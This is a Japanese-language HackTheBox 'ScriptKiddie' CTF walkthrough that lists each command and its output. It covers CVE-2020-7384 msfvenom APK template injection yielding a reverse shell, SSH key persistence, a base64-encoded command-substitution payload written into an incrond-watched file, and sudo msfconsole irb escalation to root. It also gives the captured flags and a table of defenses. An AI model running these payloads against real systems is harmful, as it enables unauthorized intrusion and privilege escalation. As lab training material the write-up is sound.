HackTheBox: ScriptKiddie — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 5000/http (Flask)
→
22/ssh, 5000/http (Flask)
“k1d’5 h4ck3r t00l5”
APK生成ツール
→
APK生成ツール
CVE-2020-7384
msfvenom APKテンプレート注入
→
msfvenom APKテンプレート注入
悪意APKアップロード
生成時にコマンド実行
→
生成時にコマンド実行
リバースシェル → SSH鍵注入
→
kid SSH → user.txt ✓
→
incrond監視ファイル書込
コマンド置換でpwn RCE
→
コマンド置換でpwn RCE
sudo msfconsole irb
system()でroot.txtコピー
→
system()でroot.txtコピー
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.95.150 nmap -sV -sC -p 22,5000 10.129.95.150
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 5000/tcp open upnp Werkzeug httpd 0.16.1 (Python 3.8.5)
Flaskアプリの確認
BASH
curl -s http://10.129.95.150:5000/ | grep -i title
RESULT
<title>k1d'5 h4ck3r t00l5</title>
ℹ️
「スクリプトキディ(初心者ハッカー)向けツール」という体のFlaskアプリ。
フォームには
os(android/windows/linux等)、lhost、
template等の入力欄があり、内部でmsfvenomを
呼び出してペイロードファイルを生成していると推測できる。
PHASE 2
CVE-2020-7384 — msfvenom APKテンプレートコマンドインジェクション
脆弱性の仕組み
NOTE
CVE-2020-7384は、Metasploit付属のmsfvenomがAndroid APKペイロード生成時に 「テンプレートAPK」(既存の正規APKをベースにペイロードを埋め込む機能)を 指定できる仕組みを悪用する脆弱性。テンプレートとして渡すAPKファイルの 署名用キーストア内のCN(Common Name)フィールドに、シェルコマンドの 区切り文字(例: バッククォートや$())を仕込んだ悪意ある文字列を 設定しておくと、msfvenomがそのAPKを再署名する過程(jarsigner/keytool等の 呼び出し)でCN値がシェルコマンドの一部として評価され、 msfvenomを実行しているサーバー側(=このFlaskアプリ)でコマンドが実行される。 このマシンのFlaskアプリは、ユーザーがアップロードした「テンプレート」 ファイルをそのままmsfvenomの-xオプションへ渡してAPKを生成する機能を 持つため、悪意あるテンプレートAPKをアップロードするだけでFlaskアプリの 実行ユーザー権限(kid)でリモートコード実行が可能になる。
悪意あるテンプレートAPKの生成
BASH (Kali側、Metasploitの公式エクスプロイトモジュールを使用)
msfconsole -q -x " use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection; set LHOST 10.10.15.200; set LPORT 6391; set PAYLOAD android/meterpreter/reverse_tcp; run; exit"
RESULT
[+] msf.apk stored at /root/.msf4/local/msf.apk (1663 bytes)
ℹ️
このモジュールは「CNフィールドにコマンドインジェクションペイロードを
仕込んだ悪意あるテンプレートAPK」自体を生成してくれる。生成されたAPK
自体がペイロードであり、ターゲットのFlaskアプリへアップロードする
「テンプレート」として使う(Androidデバイスへインストールするわけではない)。
リスナー起動 & APKアップロード
BASH (ターミナル1: リバースシェル用リスナー)
nc -lnvp 6391
BASH (ターミナル2: Flaskフォームへ悪意テンプレートAPKをアップロード)
curl -s -X POST http://10.129.95.150:5000/ \ -F "os=android" \ -F "lhost=10.10.15.200" \ -F "lport=6391" \ -F "template=@msf.apk" \ -F "action=generate"
✅
RCE成功! Flaskアプリがアップロードされたテンプレートを
使って内部で
msfvenomを実行した瞬間、仕込んだCN値内の
コマンドが評価され、kidユーザー権限のリバースシェルが
Kaliのリスナーへ接続してきた。
PHASE 3
SSH公開鍵注入 & user.txt取得
リバースシェル経由でSSH鍵を永続化
BASH (nc受信したリバースシェル上で実行)
mkdir -p ~/.ssh echo "ssh-rsa AAAA...(Kali側で生成した公開鍵)... root@kali" >> ~/.ssh/authorized_keys chmod 700 ~/.ssh chmod 600 ~/.ssh/authorized_keys
ℹ️
msfvenomコマンドインジェクション由来のリバースシェルは非対話的で
不安定なことが多いため、確立した瞬間に自分のSSH公開鍵を
authorized_keysへ追記し、安定したSSH接続へ切り替える。
SSHログイン & user.txt取得
BASH
ssh -i id_rsa_sk kid@10.129.95.150 "id; cat /home/kid/user.txt"
RESULT (本検証の実際の出力)
uid=1000(kid) gid=1000(kid) groups=1000(kid)
92befba5b05665b4fe00eba6447bb362
user.txt — kid
92befba5b05665b4fe00eba6447bb362
PHASE 4
incrond 監視ファイル経由の横移動 & sudo msfconsole irb でroot化
incrond設定の発見
NOTE
incrond(inotifyベースのcron相当デーモン)が root 権限で稼働しており、
/etc/incron.d/ 等の設定によって /home/kid/logs/hackers ファイルへの
書き込みをトリガーに、pwnユーザー権限で /home/pwn/scanlosers.sh を
自動実行する設定になっている。scanlosers.shの内部ロジックは
おおよそ以下のような構造:
ip=$(tail -1 /home/kid/logs/hackers | awk '{print $3}')
sh -c "nmap -sV -oN ... $ip"
つまりhackersファイルの3カラム目の値がシェルの文字列展開内に
そのまま埋め込まれるため、$()コマンド置換を含む値を書き込めば
pwnユーザー権限で任意コマンドが実行できる。
BASH (SSHシェル上で実行、設定内容の確認)
cat /etc/incron.d/* cat /home/pwn/scanlosers.sh
root化用ヘルパースクリプトの配置
NOTE
pwnユーザーは sudo で Metasploitフレームワーク(msfconsole)を パスワード無しで実行できる。msfconsoleの irb (対話型Rubyコンソール) サブコマンドへパイプ経由でRubyコードを送り込み、system()呼び出しで root権限のシェルコマンドを実行させる。msfconsole自体の起動には 約30〜60秒かかる。
BASH (SSHシェル上で実行、/home/kid/logs/ はincron.serviceのPrivateTmp制約を
受けない共有ファイルシステムであるためここに配置する)
cat > /home/kid/logs/run_msf_irb.sh <<'EOF'
#!/bin/bash
printf '%s\n' 'system("cp /root/root.txt /home/pwn/r00t.txt && chmod 644 /home/pwn/r00t.txt")' \
| sudo /opt/metasploit-framework-6.0.9/msfconsole -q -x 'irb' > /home/pwn/msf_irb_out.txt 2>&1
EOF
chmod 755 /home/kid/logs/run_msf_irb.sh
⚠️
実装上の注意: incron.serviceはsystemdの
PrivateTmp=yes設定で動くため、/tmp配下に
置いたファイルはincrondがトリガーするコマンドからは見えない
(隔離された名前空間のため)。ヘルパースクリプトは必ず
/home/kid/logs/のような共有ファイルシステム上に
配置すること。
incrond監視ファイルへの書込でトリガー
BASH (SSHシェル上で実行)
echo $'a b $(bash -c \'echo YmFzaCAvaG9tZS9raWQvbG9ncy9ydW5fbXNmX2lyYi5zaA==|base64 -d|bash\') x' \ > /home/kid/logs/hackers
⚠️
実装上の注意: ANSI-Cクォート(
$'...')を使い、
直接ファイルへリダイレクト(>)で書き込む
必要がある——パイプ(|)経由の書込みはinotifyの
IN_CLOSE_WRITEイベントを正しく発火させずincrondが反応しない
ことがある。コマンド本体はbase64エンコードして
bash -c 'echo |base64 -d|bash' の形でネストさせることで、
クォート文字の衝突を回避しつつrun_msf_irb.shを確実に起動する。
BASH (数十秒待ってから結果を確認)
sleep 30 cat /home/pwn/r00t.txt
RESULT (本検証の実際の出力)
68e89263a8f72ffba4c8db8431870d4a
✅
root化成功! incrondがpwnユーザー権限で
run_msf_irb.shを実行し、その中のsudo msfconsole -x irbが
system()呼び出しをroot権限で実行、/root/root.txtを
pwnが読めるパスへコピーした。
root.txt — incrond注入 → sudo msfconsole irb system()
68e89263a8f72ffba4c8db8431870d4a
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — kid
92befba5b05665b4fe00eba6447bb362
root.txt — incrond注入 → sudo msfconsole irb system()
68e89263a8f72ffba4c8db8431870d4a
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2020-7384 | msfvenom APKテンプレート処理 (Flaskアプリ経由) | リモートコード実行 (kidユーザー) | Critical | テンプレートAPKのCNフィールドに仕込んだコマンドが再署名処理時に実行される |
| incrond監視ファイルのシェルコマンド置換 | /home/kid/logs/hackers → scanlosers.sh | 横移動 (pwnユーザー権限での実行) | High | $()コマンド置換を含む値を書き込みnmap呼び出しを乗っ取る |
| sudoで無制限実行可能なmsfconsole | /opt/metasploit-framework-6.0.9/msfconsole (pwn, NOPASSWD) | 権限昇格 (root) | Critical | irbサブコマンドへRubyコードをパイプしsystem()でroot権限コマンド実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap, Flask “ハッキングツール”アプリ発見 | 22/ssh, 5000/http(Flask) |
| 2 | RCE | CVE-2020-7384 (msfvenom APKテンプレート) | kidユーザーでのリバースシェル |
| 3 | 永続化 | SSH公開鍵注入 | user.txt (kid) |
| 4 | 横移動+権限昇格 | incrond注入 → pwn → sudo msfconsole irb | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 脆弱性のあるMetasploit/msfvenomバージョンを信頼できないユーザー入力(テンプレートファイル)と組み合わせて使用している | 既知のCVEに対応済みの最新版へ更新する。外部から渡されたファイルをペイロード生成のテンプレートとして使わない設計にする。 |
| incrondが監視するファイルの内容を検証せずシェルコマンドへ展開している | 外部から書き込み可能なファイルの内容は、シェル変数展開やコマンド置換が発生しない形(配列・プレースホルダ等)で安全に扱う。 |
| 一般ユーザーがsudoでMetasploit Framework全体を無制限に実行できる | sudo権限は業務上必要な最小限のコマンド・オプションに限定し、irb/execのような汎用コード実行機能を持つツールの無制限実行は避ける。 |

